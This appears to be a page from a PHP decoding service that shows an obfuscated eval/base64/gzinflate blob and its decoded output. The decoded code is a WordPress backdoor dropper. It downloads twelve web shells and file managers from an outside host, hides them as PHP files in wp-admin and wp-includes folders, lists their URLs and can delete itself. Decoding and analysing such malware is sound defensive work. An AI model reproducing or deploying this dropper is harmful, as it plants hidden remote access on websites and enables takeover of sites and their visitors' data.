Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode(rawurldecode('rVfRbts2FH3vV3CGAdmAYrXYQ9Ck7VAkKTBgTQ..

Decoded Output download

function downloadFile($url, $fileName) {
            $data = file_get_contents($url);
            file_put_contents($fileName, $data);
        }

        function moveFile($source, $destination) {
            if (!file_exists(dirname($destination))) {
                mkdir(dirname($destination), 0777, true);
            }
            rename($source, $destination);
        }

        function getWebPath($fileSystemPath) {
            $documentRoot = $_SERVER['DOCUMENT_ROOT'];
            $serverName = $_SERVER['SERVER_NAME'];
            $relativePath = str_replace($documentRoot, '', $fileSystemPath);
            return 'https://' . $serverName . $relativePath;
        }

        function clearCache() {
            $cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache';
            if (is_dir($cacheDir)) {
                $newName = $cacheDir . rand(10, 99);
                rename($cacheDir, $newName);
                echo '<div class="alert alert-success mt-3" role="alert">Cache klasr baaryla yeniden adlandrld: ' . basename($newName) . '</div>';
            } else {
                echo '<div class="alert alert-warning mt-3" role="alert">Cache klasr bulunamad.</div>';
            }
        }

        $wordpressRoot = $_SERVER['DOCUMENT_ROOT']; // WordPress'in kk dizinini alr

        $urls = [
            "https://zip1.com.tr/svs/shell/fmadmin.txt",
            "https://zip1.com.tr/svs/shell/fmanager.txt",
            "https://zip1.com.tr/svs/shell/adminer.txt",
            "https://zip1.com.tr/svs/shell/wordpress.txt",
            "https://zip1.com.tr/svs/shell/niil.txt",
            "https://zip1.com.tr/svs/shell/sok.txt",
            "https://zip1.com.tr/svs/shell/system.txt",
            "https://zip1.com.tr/svs/shell/tiny.txt",
            "https://zip1.com.tr/svs/shell/yeni.txt",
            "https://zip1.com.tr/svs/shell/zip-blog.txt",
            "https://zip1.com.tr/svs/shell/scan.txt",
            "https://zip1.com.tr/svs/shell/zip-header.txt"
        ];

        $finalPaths = [
            "$wordpressRoot/wp-admin/fmadmin.php",
            "$wordpressRoot/wp-admin/css/midnight/fmanager.php",
            "$wordpressRoot/wp-admin/css/modern/adminer.php",
            "$wordpressRoot/wp-admin/user/wordpress.php",
            "$wordpressRoot/wp-includes/css/dist/niil.php",
            "$wordpressRoot/wp-includes/css/dist/sok.php",
            "$wordpressRoot/wp-includes/Requests/src/system.php",
            "$wordpressRoot/wp-includes/Requests/src/Utility/tiny.php",
            "$wordpressRoot/wp-includes/SimplePie/Content/Type/yeni.php",
            "$wordpressRoot/wp-includes/SimplePie/Content/Type/zip-blog.php",
            "$wordpressRoot/wp-includes/blocks/audio/scan.php",
            "$wordpressRoot/wp-includes/blocks/audio/zip-header.php"
        ];

        $links = [];

        if (isset($_POST['downloadAll']) || isset($_POST['downloadSingle'])) {
            $indices = isset($_POST['downloadAll']) ? array_keys($urls) : [$_POST['index']];
            foreach ($indices as $index) {
                $tempFile = basename($finalPaths[$index]);
                downloadFile($urls[$index], $tempFile);
                moveFile($tempFile, $finalPaths[$index]);
                $links[$index] = getWebPath($finalPaths[$index]);
            }
        }

        if (isset($_POST['self_destruct'])) {
            $currentFile = __FILE__;
            unlink($currentFile);
            echo '<div class="alert alert-success mt-3" role="alert">Dosya baaryla silindi.</div>';
            exit();
        }

        if (isset($_POST['clear_cache'])) {
            clearCache();
        }

Did this file decode correctly?

Original Code

	<?php
	eval(gzinflate(base64_decode(rawurldecode('rVfRbts2FH3vV3CGAdmAYrXYQ9Ck7VAkKTBgTQI7XR%2BMQGCoa5swRWokZcdd8y37hr70aW%2Fp%2FmuXkiVLtuZG7vxgy9I99x5eHpJHk1Qyy5UkkVpKoWj0jgvodVMtfNKd4PUljaFP%2FnxGKp9uRC0lr4l7Hk7BhkxJC9KaDNg%2FrQVnQUlaDSry%2BnmmCuDhWXk5KZjFagE5K6NSzTIUGMsldY%2B3ufEJ6f2U1YR7brBaxLXEWr0aqL8Nc594jrHN8T55fnx87BOrU9ga30Ptn4Yc3Eh1%2FzixkR%2Fh7praWd6h0cpYiN3%2F3f4rlsbYy6FSFuehG44uhr9fDMfe%2BdXZh%2FcXlzfh8OrqxrutM%2B0a0AvQrvM1UP4bXr59f7ED0SCQ%2BwIcDQQZq0MNiaDMNajCwieet1ZMhffpVm9sqiXxZtYm5iQIPDKocRrUy%2B3vFhNA9RllM%2BjttIe52%2Bdc72sNVvOCZXK0VmWQYbzTHS1xEzpVlDkbldOVsCzaWhYfEE1l1Hvx3CcvX261oiqVAuCXaRqCgc0U8V5FfIEjp8a87lAB2pLs%2B8ikjIExJLZHP3eIVgLWzztvshaROWIev%2BrHv8kd%2Fecvqr99WQlKViB5BJLQSCDTb1%2FwtsCfE%2BJm5o6aNcGClWvZqwApvNnq0wMBYaChL%2FtZL6mWXE6fxDoVKZKhyG7QTKFJLN2l0lGisTPfXSgkCMhHjL520R6XZP74dU4i%2FokjRY6EsTuVxLjNGcw3rnHoFML%2BxJMXA6bigdWBWZjAzECIYIL0Yy4H9t52%2FJZASaeg2yOzgocAy8a1h0rORXuUUfMDQNlO0x6HG%2FKqPcqtlvYovHt0J9T0gNExeoBYXL0Z0Gg96yUUN%2FaNfCd4Igm3xzaIuL5o3BaZqaiUbzJLthn9F4QZE8Q8knw6sxsVt02gcCyylHILdIpnS0XJT0JyyUSKZ3ZWOkIDkev5QKxTdTvoEP5I0THgbGpW6PsHMnywXHC7yhXfLs%2BIx4mAaw7B2fqIvFklkK%2BC%2FyVTuTLaZUMIm5uAphFX%2BRr5AXxltbgszatFcDnPFkr1bu4NDNheN7y%2BGt2MvcJBvxXCu%2B2Tz59J8%2FMRnnkCMGTHt3AZcTzHsdTezL8QqjVdhXNY5Y7b9MkJGRfRmAXuvdstJzdRGvBQJb2yCjVZRbhvdDQovMS5biSzcQKbfWOcQ28brMrOm0QZ7G%2FSNuA2Pr8I8snTKuYzVAQg47qV%2Fk6GRuuwO70GxCR0bl6nzDbNHks1Wjq7bloYvvv1t4swrNdKpaPaq8ZusTnY6J0rs6I1e2dw7eNcNxsmfDuyveY3kt2xZ2Y7zC3y7sirVryS8F8%3D'))));
	?>

Function Calls

gzinflate 1
rawurldecode 1
base64_decode 1

Variables

None

Stats

MD5 f4315ad4783389fa3c13de79705c4f28
Eval Count 1
Decode Time 47 ms